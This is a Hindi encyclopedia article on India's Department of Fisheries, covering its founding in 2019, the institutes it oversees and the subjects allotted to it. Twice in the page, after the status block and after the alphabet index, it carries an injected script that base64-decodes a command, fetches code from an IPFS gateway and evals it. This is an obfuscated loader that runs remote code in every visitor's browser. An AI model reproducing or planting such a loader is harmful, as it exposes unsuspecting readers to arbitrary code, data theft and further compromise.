मत्स्य पालन विभाग  

मत्स्य पालन, पशुपालन और डेयरी मंत्रालय के तहत दो विभाग में मत्स्यपालन एक विभाग है। यह भूतपूर्व पशुपालन डेयरी एवं मात्स्यिकी विभाग के मात्स्यिकी प्रभाग को अलग करके 5 फ़रवरी, 2019 के प्रभाव से, मंत्रिपरिषद सचिवालय की दिनांक 5 फ़रवरी, 2019 की अधिसूचना सं. फा.स. 01/21/2018-कैब से अस्तित्व में आया।

दायित्व

मत्स्य पालन विभाग विभाग अन्तर्देशीय, समुद्री एवं तटीय मात्स्यिकी तथा मात्स्यिकी संस्थानों नामतःभारतीय मात्स्यिकी सर्वेक्षण मुम्बई, केन्द्रीय मत्स्य नौचालन एवं इंजीनियरी प्रशिक्षण संस्थान (सिफनेट) केरल, केन्द्रीय मात्स्यिकी तटवर्ती इंजीनियरिंग संस्थान (सीआईसीईएफ) बैंगलोर, राष्ट्रीय मात्स्यिकी पोस्ट हार्वेस्ट प्रौद्योगिकी और प्रशिक्षण संस्थान (निफेट), कोच्चि; राष्ट्रीय मात्स्यिकी विकास बोर्ड (एनएफडीबी), हैदराबाद; तटीय जलकृषि प्राधिकरण, चेन्नई; के विभाग से संबंधित नीति एवं योजनाओं को बनाने के लिए जिम्मेदार है।[१]

विषय

मत्स्य पालन विभाग को आवंटित किए गए विषयों की सूची निम्नानुसार है-

  • माँग एवं लक्ष्य निर्धारित करने के संबंध में मछली का चारा एवं मत्स्य उत्पाद उद्योगों का विकास करना।
  • मत्स्यन एवं मात्स्यिकी (अंतर्देशीय, समुद्री तथा प्रादेशिक जल के आगे) तथा इससे जुड़े कार्यकलापों जिसमें अवसंरचना विकास, विपणन, निर्यात एवं संस्थागत व्यवस्थाएं इत्यादि शामिल हैं, को बढ़ावा देना एवं विकास करना।
  • मछुआरों एवं मत्स्यन से जुड़े लोगों का कल्याण एव उनके जीवनयापन को शक्ति प्रदान करना मात्स्यिकी विकास से संबंधित मामलों में अंतरराष्ट्रीय संगठनों के साथ संपर्क एवं सहयोग
  • सांख्यिकी मात्स्यिकी
  • प्राकृतिक आपदा के कारण मत्स्य भण्डार की हानि से संबंधित मामले।
  • मत्स्य भण्डार के निर्यात, संगरोध तथा प्रमाणीकरण का विनियमन।
  • भारतीय मात्स्यिकी सर्वेक्षण, मुम्बई मछली को प्रभावित करने वाले संक्रामक या छूत की बीमारियों या, कीटनाशक का एक राज्य से दूसरे राज्यों में विस्तार की रोकथाम के संबंध में विधान।
  • राज्य एजेंसियों/ सहकारी संघों के माध्यम से विभिन्न राज्य उपक्रमों, मात्स्यिकी विकास योजनाओं को वित्तीय सहायता के पैटर्न के संबंध में विधान।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. मत्स्य पालन विभाग (हिंदी) dof.gov.in। अभिगमन तिथि: 19 अप्रॅल, 2022।

संबंधित लेख

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=मत्स्य_पालन_विभाग&oldid=676185" से लिया गया